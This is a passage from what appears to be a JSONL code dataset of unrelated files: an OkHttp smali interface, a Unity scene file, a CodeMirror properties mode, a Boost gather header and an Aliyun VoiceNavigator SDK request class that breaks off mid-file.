_gks.gks_set_norm_xform(c_int(tnr),\n cast(c_window, POINTER(c_double)),\n cast(c_viewport, POINTER(c_double)))\n"} +{"text": ".class public interface abstract Lokhttp3/Dns;\r\n.super Ljava/lang/Object;\r\n.source \"Dns.java\"\r\n\r\n\r\n# static fields\r\n.field public static final SYSTEM:Lokhttp3/Dns;\r\n\r\n\r\n# direct methods\r\n.method static constructor ()V\r\n .locals 1\r\n\r\n .line 36\r\n new-instance v0, Lokhttp3/Dns$1;\r\n\r\n invoke-direct {v0}, Lokhttp3/Dns$1;->()V\r\n\r\n sput-object v0, Lokhttp3/Dns;->SYSTEM:Lokhttp3/Dns;\r\n\r\n return-void\r\n.end method\r\n\r\n\r\n# virtual methods\r\n.method public abstract lookup(Ljava/lang/String;)Ljava/util/List;\r\n .annotation system Ldalvik/annotation/Signature;\r\n value = {\r\n \"(\",\r\n \"Ljava/lang/String;\",\r\n \")\",\r\n \"Ljava/util/List<\",\r\n \"Ljava/net/InetAddress;\",\r\n \">;\"\r\n }\r\n .end annotation\r\n\r\n .annotation system Ldalvik/annotation/Throws;\r\n value = {\r\n Ljava/net/UnknownHostException;\r\n }\r\n .end annotation\r\n.end method\r\n"} +{"text": "%YAML 1.1\n%TAG !u! tag:unity3d.com,2011:\n--- !u!29 &1\nOcclusionCullingSettings:\n m_ObjectHideFlags: 0\n serializedVersion: 2\n m_OcclusionBakeSettings:\n smallestOccluder: 5\n smallestHole: 0.25\n backfaceThreshold: 100\n m_SceneGUID: 00000000000000000000000000000000\n m_OcclusionCullingData: {fileID: 0}\n--- !u!104 &2\nRenderSettings:\n m_ObjectHideFlags: 0\n serializedVersion: 9\n m_Fog: 0\n m_FogColor: {r: 0.5, g: 0.5, b: 0.5, a: 1}\n m_FogMode: 3\n m_FogDensity: 0.01\n m_LinearFogStart: 0\n m_LinearFogEnd: 300\n m_AmbientSkyColor: {r: 0.212, g: 0.227, b: 0.259, a: 1}\n m_AmbientEquatorColor: {r: 0.114, g: 0.125, b: 0.133, a: 1}\n m_AmbientGroundColor: {r: 0.047, g: 0.043, b: 0.035, a: 1}\n m_AmbientIntensity: 1\n m_AmbientMode: 0\n m_SubtractiveShadowColor: {r: 0.42, g: 0.478, b: 0.627, a: 1}\n m_SkyboxMaterial: {fileID: 0}\n m_HaloStrength: 0.5\n m_FlareStrength: 1\n m_FlareFadeSpeed: 3\n m_HaloTexture: {fileID: 0}\n m_SpotCookie: {fileID: 10001, guid: 0000000000000000e000000000000000, type: 0}\n m_DefaultReflectionMode: 0\n m_DefaultReflectionResolution: 128\n m_ReflectionBounces: 1\n m_ReflectionIntensity: 1\n m_CustomReflection: {fileID: 0}\n m_Sun: {fileID: 0}\n m_IndirectSpecularColor: {r: 0, g: 0, b: 0, a: 1}\n m_UseRadianceAmbientProbe: 0\n--- !u!157 &3\nLightmapSettings:\n m_ObjectHideFlags: 0\n serializedVersion: 11\n m_GIWorkflowMode: 1\n m_GISettings:\n serializedVersion: 2\n m_BounceScale: 1\n m_IndirectOutputScale: 1\n m_AlbedoBoost: 1\n m_EnvironmentLightingMode: 0\n m_EnableBakedLightmaps: 1\n m_EnableRealtimeLightmaps: 0\n m_LightmapEditorSettings:\n serializedVersion: 12\n m_Resolution: 2\n m_BakeResolution: 40\n m_AtlasSize: 1024\n m_AO: 0\n m_AOMaxDistance: 1\n m_CompAOExponent: 1\n m_CompAOExponentDirect: 0\n m_ExtractAmbientOcclusion: 0\n m_Padding: 2\n m_LightmapParameters: {fileID: 0}\n m_LightmapsBakeMode: 1\n m_TextureCompression: 1\n m_FinalGather: 0\n m_FinalGatherFiltering: 1\n m_FinalGatherRayCount: 256\n m_ReflectionCompression: 2\n m_MixedBakeMode: 2\n m_BakeBackend: 1\n m_PVRSampling: 1\n m_PVRDirectSampleCount: 32\n m_PVRSampleCount: 512\n m_PVRBounces: 2\n m_PVREnvironmentSampleCount: 256\n m_PVREnvironmentReferencePointCount: 2048\n m_PVRFilteringMode: 1\n m_PVRDenoiserTypeDirect: 1\n m_PVRDenoiserTypeIndirect: 1\n m_PVRDenoiserTypeAO: 1\n m_PVRFilterTypeDirect: 0\n m_PVRFilterTypeIndirect: 0\n m_PVRFilterTypeAO: 0\n m_PVREnvironmentMIS: 1\n m_PVRCulling: 1\n m_PVRFilteringGaussRadiusDirect: 1\n m_PVRFilteringGaussRadiusIndirect: 5\n m_PVRFilteringGaussRadiusAO: 2\n m_PVRFilteringAtrousPositionSigmaDirect: 0.5\n m_PVRFilteringAtrousPositionSigmaIndirect: 2\n m_PVRFilteringAtrousPositionSigmaAO: 1\n m_ExportTrainingData: 0\n m_TrainingDataDestination: TrainingData\n m_LightProbeSampleCountMultiplier: 4\n m_LightingDataAsset: {fileID: 0}\n m_UseShadowmask: 1\n--- !u!196 &4\nNavMeshSettings:\n serializedVersion: 2\n m_ObjectHideFlags: 0\n m_BuildSettings:\n serializedVersion: 2\n agentTypeID: 0\n agentRadius: 0.5\n agentHeight: 2\n agentSlope: 45\n agentClimb: 0.4\n ledgeDropHeight: 0\n maxJumpAcrossDistance: 0\n minRegionArea: 2\n manualCellSize: 0\n cellSize: 0.16666667\n manualTileSize: 0\n tileSize: 256\n accuratePlacement: 0\n debug:\n m_Flags: 0\n m_NavMeshData: {fileID: 0}\n--- !u!1 &177497913\nGameObject:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n serializedVersion: 6\n m_Component:\n - component: {fileID: 177497916}\n - component: {fileID: 177497915}\n - component: {fileID: 177497914}\n m_Layer: 0\n m_Name: Floor\n m_TagString: Untagged\n m_Icon: {fileID: 0}\n m_NavMeshLayer: 0\n m_StaticEditorFlags: 0\n m_IsActive: 1\n--- !u!23 &177497914\nMeshRenderer:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n m_GameObject: {fileID: 177497913}\n m_Enabled: 1\n m_CastShadows: 1\n m_ReceiveShadows: 1\n m_DynamicOccludee: 1\n m_MotionVectors: 1\n m_LightProbeUsage: 1\n m_ReflectionProbeUsage: 1\n m_RayTracingMode: 2\n m_RenderingLayerMask: 1\n m_RendererPriority: 0\n m_Materials:\n - {fileID: 2100000, guid: d287d4ec8a860ae4d895a83cd62744ad, type: 2}\n m_StaticBatchInfo:\n firstSubMesh: 0\n subMeshCount: 0\n m_StaticBatchRoot: {fileID: 0}\n m_ProbeAnchor: {fileID: 0}\n m_LightProbeVolumeOverride: {fileID: 0}\n m_ScaleInLightmap: 1\n m_ReceiveGI: 1\n m_PreserveUVs: 0\n m_IgnoreNormalsForChartDetection: 0\n m_ImportantGI: 0\n m_StitchLightmapSeams: 1\n m_SelectedEditorRenderState: 3\n m_MinimumChartSize: 4\n m_AutoUVMaxDistance: 0.5\n m_AutoUVMaxAngle: 89\n m_LightmapParameters: {fileID: 0}\n m_SortingLayerID: 0\n m_SortingLayer: 0\n m_SortingOrder: 0\n--- !u!33 &177497915\nMeshFilter:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n m_GameObject: {fileID: 177497913}\n m_Mesh: {fileID: 10209, guid: 0000000000000000e000000000000000, type: 0}\n--- !u!4 &177497916\nTransform:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n m_GameObject: {fileID: 177497913}\n m_LocalRotation: {x: 0, y: 0, z: 0, w: 1}\n m_LocalPosition: {x: 0, y: 0, z: 0}\n m_LocalScale: {x: 1, y: 1, z: 1}\n m_Children: []\n m_Father: {fileID: 0}\n m_RootOrder: 5\n m_LocalEulerAnglesHint: {x: 0, y: 0, z: 0}\n--- !u!1 &368022688\nGameObject:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n serializedVersion: 6\n m_Component:\n - component: {fileID: 368022690}\n - component: {fileID: 368022689}\n m_Layer: 0\n m_Name: Postprocess\n m_TagString: Untagged\n m_Icon: {fileID: 0}\n m_NavMeshLayer: 0\n m_StaticEditorFlags: 0\n m_IsActive: 1\n--- !u!114 &368022689\nMonoBehaviour:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n m_GameObject: {fileID: 368022688}\n m_Enabled: 1\n m_EditorHideFlags: 0\n m_Script: {fileID: 11500000, guid: 172515602e62fb746b5d573b38a5fe58, type: 3}\n m_Name: \n m_EditorClassIdentifier: \n isGlobal: 1\n priority: 0\n blendDistance: 0\n weight: 1\n sharedProfile: {fileID: 11400000, guid: f61487cea26ae125b9f3065a5438a15d, type: 2}\n--- !u!4 &368022690\nTransform:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n m_GameObject: {fileID: 368022688}\n m_LocalRotation: {x: 0, y: 0, z: 0, w: 1}\n m_LocalPosition: {x: 0, y: 0, z: 0}\n m_LocalScale: {x: 1, y: 1, z: 1}\n m_Children: []\n m_Father: {fileID: 0}\n m_RootOrder: 1\n m_LocalEulerAnglesHint: {x: 0, y: 0, z: 0}\n--- !u!1 &409601477\nGameObject:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n serializedVersion: 6\n m_Component:\n - component: {fileID: 409601481}\n - component: {fileID: 409601480}\n - component: {fileID: 409601479}\n - component: {fileID: 409601478}\n m_Layer: 0\n m_Name: Rigid VAT\n m_TagString: Untagged\n m_Icon: {fileID: 0}\n m_NavMeshLayer: 0\n m_StaticEditorFlags: 0\n m_IsActive: 1\n--- !u!95 &409601478\nAnimator:\n serializedVersion: 3\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n m_GameObject: {fileID: 409601477}\n m_Enabled: 1\n m_Avatar: {fileID: 0}\n m_Controller: {fileID: 0}\n m_CullingMode: 0\n m_UpdateMode: 0\n m_ApplyRootMotion: 0\n m_LinearVelocityBlending: 0\n m_WarningMessage: \n m_HasTransformHierarchy: 1\n m_AllowConstantClipSamplingOptimization: 1\n m_KeepAnimatorControllerStateOnDisable: 0\n--- !u!23 &409601479\nMeshRenderer:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n m_GameObject: {fileID: 409601477}\n m_Enabled: 1\n m_CastShadows: 1\n m_ReceiveShadows: 1\n m_DynamicOccludee: 1\n m_MotionVectors: 1\n m_LightProbeUsage: 1\n m_ReflectionProbeUsage: 1\n m_RayTracingMode: 2\n m_RenderingLayerMask: 1\n m_RendererPriority: 0\n m_Materials:\n - {fileID: 2100000, guid: 94676a00fb4c06ae1a1ecf246d18b430, type: 2}\n m_StaticBatchInfo:\n firstSubMesh: 0\n subMeshCount: 0\n m_StaticBatchRoot: {fileID: 0}\n m_ProbeAnchor: {fileID: 0}\n m_LightProbeVolumeOverride: {fileID: 0}\n m_ScaleInLightmap: 1\n m_ReceiveGI: 1\n m_PreserveUVs: 0\n m_IgnoreNormalsForChartDetection: 0\n m_ImportantGI: 0\n m_StitchLightmapSeams: 1\n m_SelectedEditorRenderState: 3\n m_MinimumChartSize: 4\n m_AutoUVMaxDistance: 0.5\n m_AutoUVMaxAngle: 89\n m_LightmapParameters: {fileID: 0}\n m_SortingLayerID: 0\n m_SortingLayer: 0\n m_SortingOrder: 0\n--- !u!33 &409601480\nMeshFilter:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n m_GameObject: {fileID: 409601477}\n m_Mesh: {fileID: -2749265896460310151, guid: a27e5a45d647cdbf69ea3ca5d5a8bcf3, type: 3}\n--- !u!4 &409601481\nTransform:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n m_GameObject: {fileID: 409601477}\n m_LocalRotation: {x: 0, y: 0, z: 0, w: 1}\n m_LocalPosition: {x: 0, y: 0, z: 0}\n m_LocalScale: {x: 1, y: 1, z: 1}\n m_Children: []\n m_Father: {fileID: 0}\n m_RootOrder: 4\n m_LocalEulerAnglesHint: {x: 0, y: 0, z: 0}\n--- !u!1 &709558957\nGameObject:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n serializedVersion: 6\n m_Component:\n - component: {fileID: 709558958}\n m_Layer: 0\n m_Name: Camera Pivot\n m_TagString: Untagged\n m_Icon: {fileID: 0}\n m_NavMeshLayer: 0\n m_StaticEditorFlags: 0\n m_IsActive: 1\n--- !u!4 &709558958\nTransform:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n m_GameObject: {fileID: 709558957}\n m_LocalRotation: {x: 0.20906459, y: 0.25268406, z: -0.0560187, w: 0.9430295}\n m_LocalPosition: {x: 0, y: 0.8, z: 0}\n m_LocalScale: {x: 1, y: 1, z: 1}\n m_Children:\n - {fileID: 2034847968}\n m_Father: {fileID: 0}\n m_RootOrder: 3\n m_LocalEulerAnglesHint: {x: 25, y: 30, z: 0}\n--- !u!1 &710793524\nGameObject:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n serializedVersion: 6\n m_Component:\n - component: {fileID: 710793526}\n - component: {fileID: 710793525}\n m_Layer: 0\n m_Name: Environment\n m_TagString: Untagged\n m_Icon: {fileID: 0}\n m_NavMeshLayer: 0\n m_StaticEditorFlags: 0\n m_IsActive: 1\n--- !u!114 &710793525\nMonoBehaviour:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n m_GameObject: {fileID: 710793524}\n m_Enabled: 1\n m_EditorHideFlags: 0\n m_Script: {fileID: 11500000, guid: 172515602e62fb746b5d573b38a5fe58, type: 3}\n m_Name: \n m_EditorClassIdentifier: \n isGlobal: 1\n priority: 0\n blendDistance: 0\n weight: 1\n sharedProfile: {fileID: 11400000, guid: 2be1b7edcfc0d16e08ce8a7818a7a313, type: 2}\n--- !u!4 &710793526\nTransform:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n m_GameObject: {fileID: 710793524}\n m_LocalRotation: {x: 0, y: 0, z: 0, w: 1}\n m_LocalPosition: {x: 0, y: 0, z: 0}\n m_LocalScale: {x: 1, y: 1, z: 1}\n m_Children: []\n m_Father: {fileID: 0}\n m_RootOrder: 2\n m_LocalEulerAnglesHint: {x: 0, y: 0, z: 0}\n--- !u!1 &804828141\nGameObject:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n serializedVersion: 6\n m_Component:\n - component: {fileID: 804828143}\n - component: {fileID: 804828142}\n m_Layer: 0\n m_Name: Timeline\n m_TagString: Untagged\n m_Icon: {fileID: 0}\n m_NavMeshLayer: 0\n m_StaticEditorFlags: 0\n m_IsActive: 1\n--- !u!320 &804828142\nPlayableDirector:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n m_GameObject: {fileID: 804828141}\n m_Enabled: 1\n serializedVersion: 3\n m_PlayableAsset: {fileID: 11400000, guid: 705c376347afef08abfa9953a7b9e2e6, type: 2}\n m_InitialState: 1\n m_WrapMode: 1\n m_DirectorUpdateMode: 1\n m_InitialTime: 0\n m_SceneBindings:\n - key: {fileID: 6045887950559995951, guid: 705c376347afef08abfa9953a7b9e2e6, type: 2}\n value: {fileID: 409601478}\n m_ExposedReferences:\n m_References: []\n--- !u!4 &804828143\nTransform:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n m_GameObject: {fileID: 804828141}\n m_LocalRotation: {x: 0, y: 0, z: 0, w: 1}\n m_LocalPosition: {x: 0, y: 0, z: 0}\n m_LocalScale: {x: 1, y: 1, z: 1}\n m_Children: []\n m_Father: {fileID: 0}\n m_RootOrder: 0\n m_LocalEulerAnglesHint: {x: 0, y: 0, z: 0}\n--- !u!1 &2034847967\nGameObject:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n serializedVersion: 6\n m_Component:\n - component: {fileID: 2034847968}\n - component: {fileID: 2034847970}\n - component: {fileID: 2034847969}\n m_Layer: 0\n m_Name: Main Camera\n m_TagString: MainCamera\n m_Icon: {fileID: 0}\n m_NavMeshLayer: 0\n m_StaticEditorFlags: 0\n m_IsActive: 1\n--- !u!4 &2034847968\nTransform:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n m_GameObject: {fileID: 2034847967}\n m_LocalRotation: {x: -0, y: -0, z: -0, w: 1}\n m_LocalPosition: {x: 0, y: 0, z: -7}\n m_LocalScale: {x: 1, y: 1, z: 1}\n m_Children: []\n m_Father: {fileID: 709558958}\n m_RootOrder: 0\n m_LocalEulerAnglesHint: {x: 0, y: 0, z: 0}\n--- !u!114 &2034847969\nMonoBehaviour:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n m_GameObject: {fileID: 2034847967}\n m_Enabled: 1\n m_EditorHideFlags: 0\n m_Script: {fileID: 11500000, guid: 23c1ce4fb46143f46bc5cb5224c934f6, type: 3}\n m_Name: \n m_EditorClassIdentifier: \n m_Version: 7\n m_ObsoleteRenderingPath: 0\n m_ObsoleteFrameSettings:\n overrides: 0\n enableShadow: 0\n enableContactShadows: 0\n enableShadowMask: 0\n enableSSR: 0\n enableSSAO: 0\n enableSubsurfaceScattering: 0\n enableTransmission: 0\n enableAtmosphericScattering: 0\n enableVolumetrics: 0\n enableReprojectionForVolumetrics: 0\n enableLightLayers: 0\n enableExposureControl: 1\n diffuseGlobalDimmer: 0\n specularGlobalDimmer: 0\n shaderLitMode: 0\n enableDepthPrepassWithDeferredRendering: 0\n enableTransparentPrepass: 0\n enableMotionVectors: 0\n enableObjectMotionVectors: 0\n enableDecals: 0\n enableRoughRefraction: 0\n enableTransparentPostpass: 0\n enableDistortion: 0\n enablePostprocess: 0\n enableOpaqueObjects: 0\n enableTransparentObjects: 0\n enableRealtimePlanarReflection: 0\n enableMSAA: 0\n enableAsyncCompute: 0\n runLightListAsync: 0\n runSSRAsync: 0\n runSSAOAsync: 0\n runContactShadowsAsync: 0\n runVolumeVoxelizationAsync: 0\n lightLoopSettings:\n overrides: 0\n enableDeferredTileAndCluster: 0\n enableComputeLightEvaluation: 0\n enableComputeLightVariants: 0\n enableComputeMaterialVariants: 0\n enableFptlForForwardOpaque: 0\n enableBigTilePrepass: 0\n isFptlEnabled: 0\n clearColorMode: 0\n backgroundColorHDR: {r: 0.025, g: 0.07, b: 0.19, a: 0}\n clearDepth: 1\n volumeLayerMask:\n serializedVersion: 2\n m_Bits: 1\n volumeAnchorOverride: {fileID: 0}\n antialiasing: 3\n SMAAQuality: 2\n dithering: 1\n stopNaNs: 0\n taaSharpenStrength: 0.6\n physicalParameters:\n m_Iso: 200\n m_ShutterSpeed: 0.016666668\n m_Aperture: 2.8\n m_BladeCount: 5\n m_Curvature: {x: 2, y: 11}\n m_BarrelClipping: 0.25\n m_Anamorphism: 0\n flipYMode: 0\n fullscreenPassthrough: 0\n allowDynamicResolution: 0\n customRenderingSettings: 0\n invertFaceCulling: 0\n probeLayerMask:\n serializedVersion: 2\n m_Bits: 4294967295\n hasPersistentHistory: 0\n m_RenderingPathCustomFrameSettings:\n bitDatas:\n data1: 734440390720\n data2: 536805376\n lodBias: 1\n lodBiasMode: 0\n lodBiasQualityLevel: 0\n maximumLODLevel: 0\n maximumLODLevelMode: 0\n maximumLODLevelQualityLevel: 0\n materialQuality: 0\n renderingPathCustomFrameSettingsOverrideMask:\n mask:\n data1: 0\n data2: 0\n defaultFrameSettings: 0\n--- !u!20 &2034847970\nCamera:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n m_GameObject: {fileID: 2034847967}\n m_Enabled: 1\n serializedVersion: 2\n m_ClearFlags: 1\n m_BackGroundColor: {r: 0.19215687, g: 0.3019608, b: 0.4745098, a: 0}\n m_projectionMatrixMode: 2\n m_GateFitMode: 2\n m_FOVAxisMode: 0\n m_SensorSize: {x: 21, y: 15.2}\n m_LensShift: {x: 0, y: 0}\n m_FocalLength: 25\n m_NormalizedViewPortRect:\n serializedVersion: 2\n x: 0\n y: 0\n width: 1\n height: 1\n near clip plane: 0.2\n far clip plane: 100\n field of view: 33.818542\n orthographic: 0\n orthographic size: 5\n m_Depth: -1\n m_CullingMask:\n serializedVersion: 2\n m_Bits: 4294967295\n m_RenderingPath: -1\n m_TargetTexture: {fileID: 0}\n m_TargetDisplay: 0\n m_TargetEye: 3\n m_HDR: 0\n m_AllowMSAA: 0\n m_AllowDynamicResolution: 0\n m_ForceIntoRT: 0\n m_OcclusionCulling: 0\n m_StereoConvergence: 10\n m_StereoSeparation: 0.022\n"} +{"text": "// CodeMirror, copyright (c) by Marijn Haverbeke and others\n// Distributed under an MIT license: http://codemirror.net/LICENSE\n\n(function(mod) {\n if (typeof exports == \"object\" && typeof module == \"object\") // CommonJS\n mod(require(\"../../lib/codemirror\"));\n else if (typeof define == \"function\" && define.amd) // AMD\n define([\"../../lib/codemirror\"], mod);\n else // Plain browser env\n mod(CodeMirror);\n})(function(CodeMirror) {\n\"use strict\";\n\nCodeMirror.defineMode(\"properties\", function() {\n return {\n token: function(stream, state) {\n var sol = stream.sol() || state.afterSection;\n var eol = stream.eol();\n\n state.afterSection = false;\n\n if (sol) {\n if (state.nextMultiline) {\n state.inMultiline = true;\n state.nextMultiline = false;\n } else {\n state.position = \"def\";\n }\n }\n\n if (eol && ! state.nextMultiline) {\n state.inMultiline = false;\n state.position = \"def\";\n }\n\n if (sol) {\n while(stream.eatSpace());\n }\n\n var ch = stream.next();\n\n if (sol && (ch === \"#\" || ch === \"!\" || ch === \";\")) {\n state.position = \"comment\";\n stream.skipToEnd();\n return \"comment\";\n } else if (sol && ch === \"[\") {\n state.afterSection = true;\n stream.skipTo(\"]\"); stream.eat(\"]\");\n return \"header\";\n } else if (ch === \"=\" || ch === \":\") {\n state.position = \"quote\";\n return null;\n } else if (ch === \"\\\\\" && state.position === \"quote\") {\n if (stream.next() !== \"u\") { // u = Unicode sequence \\u1234\n // Multiline value\n state.nextMultiline = true;\n }\n }\n\n return state.position;\n },\n\n startState: function() {\n return {\n position : \"def\", // Current position, \"def\", \"quote\" or \"comment\"\n nextMultiline : false, // Is the next line multiline value\n inMultiline : false, // Is the current line a multiline value\n afterSection : false // Did we just open a section\n };\n }\n\n };\n});\n\nCodeMirror.defineMIME(\"text/x-properties\", \"properties\");\nCodeMirror.defineMIME(\"text/x-ini\", \"properties\");\n\n});\n"} +{"text": "/* \n Copyright 2008 Adobe Systems Incorporated\n\n Distributed under the Boost Software License, Version 1.0. (See accompanying\n file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)\n\n Revision history:\n January 2008 mtc Version for Adobe Source Library\n January 2013 mtc Version for Boost.Algorithm\n\n*/\n\n/**************************************************************************************************/\n\n/*!\n\\author Marshall Clow\n\\date January 2008\n*/\n\n#ifndef BOOST_ALGORITHM_GATHER_HPP\n#define BOOST_ALGORITHM_GATHER_HPP\n\n#include // for std::stable_partition\n#include \n\n#include // for network_boost::bind\n#include // for network_boost::begin(range)\n#include // for network_boost::end(range)\n\n\n/**************************************************************************************************/\n/*!\n \\defgroup gather gather\n \\ingroup mutating_algorithm\n\n \\c gather() takes a collection of elements defined by a pair of iterators and moves\n the ones satisfying a predicate to them to a position (called the pivot) within\n the sequence. The algorithm is stable. The result is a pair of iterators that\n contains the items that satisfy the predicate.\n\n Given an sequence containing:\n
    \n    0 1 2 3 4 5 6 7 8 9\n    
    \n\n a call to gather ( arr, arr + 10, arr + 4, IsEven ()) will result in:\n\n
    \n    1 3 0 2 4 6 8 5 7 9\n        |---|-----|\n      first |  second\n          pivot\n    
    \n\n\n The problem is broken down into two basic steps, namely, moving the items before the pivot\n and then moving the items from the pivot to the end. These \"moves\" are done with calls to\n stable_partition.\n\n \\par Storage Requirements:\n\n The algorithm uses stable_partition, which will attempt to allocate temporary memory,\n but will work in-situ if there is none available.\n\n \\par Time Complexity:\n\n If there is sufficient memory available, the run time is linear in N.\n If there is not any memory available, then the run time is O(N log N).\n*/\n\n/**************************************************************************************************/\n\nnamespace network_boost { namespace algorithm {\n\n/**************************************************************************************************/\n\n/*!\n \\ingroup gather\n \\brief iterator-based gather implementation\n*/\n\ntemplate <\n typename BidirectionalIterator, // Iter models BidirectionalIterator\n typename Pred> // Pred models UnaryPredicate\nstd::pair gather \n ( BidirectionalIterator first, BidirectionalIterator last, BidirectionalIterator pivot, Pred pred )\n{\n// The first call partitions everything up to (but not including) the pivot element,\n// while the second call partitions the rest of the sequence.\n return std::make_pair (\n std::stable_partition ( first, pivot, !network_boost::bind ( pred, _1 )),\n std::stable_partition ( pivot, last, network_boost::bind ( pred, _1 )));\n}\n\n/**************************************************************************************************/\n\n/*!\n \\ingroup gather\n \\brief range-based gather implementation\n*/\n\ntemplate <\n typename BidirectionalRange, //\n typename Pred> // Pred models UnaryPredicate\nstd::pair<\n typename network_boost::range_iterator::type,\n typename network_boost::range_iterator::type>\ngather (\n const BidirectionalRange &range,\n typename network_boost::range_iterator::type pivot,\n Pred pred )\n{\n return network_boost::algorithm::gather ( network_boost::begin ( range ), network_boost::end ( range ), pivot, pred );\n}\n\n/**************************************************************************************************/\n\n}} // namespace\n\n/**************************************************************************************************/\n\n#endif\n\n"} +{"text": "/*\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.aliyuncs.voicenavigator.model.v20180612;\n\nimport com.aliyuncs.RpcAcsRequest;\r\nimport com.aliyuncs.http.MethodType;\nimport com.aliyuncs.voicenavigator.Endpoint;\n\n/**\n * @author auto create\n * @version \n */\npublic class ModifyTTSConfigRequest extends RpcAcsRequest {\n\t \r\n\r\n\tprivate String voice;\r\n\r\n\tprivate String volume;\r\n\r\n\tprivate String instanceId;\r\n\r\n\tprivate String speechRate;\n\tpublic ModifyTTSConfigRequest() {\n\t\tsuper(\"VoiceNavigator\", \"2018-06-12\", \"ModifyTTSConfig\", \"voicebot\");\r\n\t\tsetMethod(MethodType.POST);\n\t\ttry {\n\t\t\tcom.aliyuncs.AcsRequest.class.getDeclaredField(\"productEndpointMap\").set(this, Endpoint.endpointMap);\n\t\t\tcom.aliyuncs.AcsRequest.class.getDeclaredField(\"productEndpointRegional\").set(this, Endpoint.endpointRegionalType);\n\t\t} catch (Exception e) {}\n\t}\r\n\r\n\tpublic String getVoice() {\r\n\t\treturn this.voice;\r\n\t}\r\n\r\n\tpublic void setVoice(String voice) {\r\n\t\tthis.voice = voice;\r\n\t\tif(voice != null){\n\t\t\tputQueryParameter(\"Voice\", voice);\r\n\t\t}\n\t}\r\n\r\n\tpublic String getVolume() {\r\n\t\treturn this.volume;\r\n\t}\r\n\r\n\tpublic void setVolume(String volume) {\r\n\t\tthis.volume = volume;\r\n\t\tif(volume != null){\n\t\t\tputQueryParameter(\"Volume\", volume);\r\n\t\t}\n\t}\r\n\r\n\tpublic String getInstanceId() {\r\n\t\treturn this.instanceId;\r\n\t}\r\n\r\n\tpublic void setInstanceId(String instanceId) {\r\n\t\tthis.instanceId = instanceId;\r\n\t\tif(instanceId != null){\n\t\t\tputQueryParameter(\"InstanceId\", instanceId);\r\n\t\t}\n\t}\r\n\r\n\tpublic String getSpeechRate() {\r\n\t\treturn this.speechRate;\r\n\t}\r\n\r\n\tpublic void setSpeechRate(String speechRate) {\r\n\t\tthis.speechRate = speechRate;\r\n\t\tif(speechRate != null){\n\t\t\tputQueryParameter(\"SpeechRate\", speechRate);\r\n\t\t}\n\t}\n\n\t@Override\n\tpublic Class getResponseClass() {\n\t\treturn 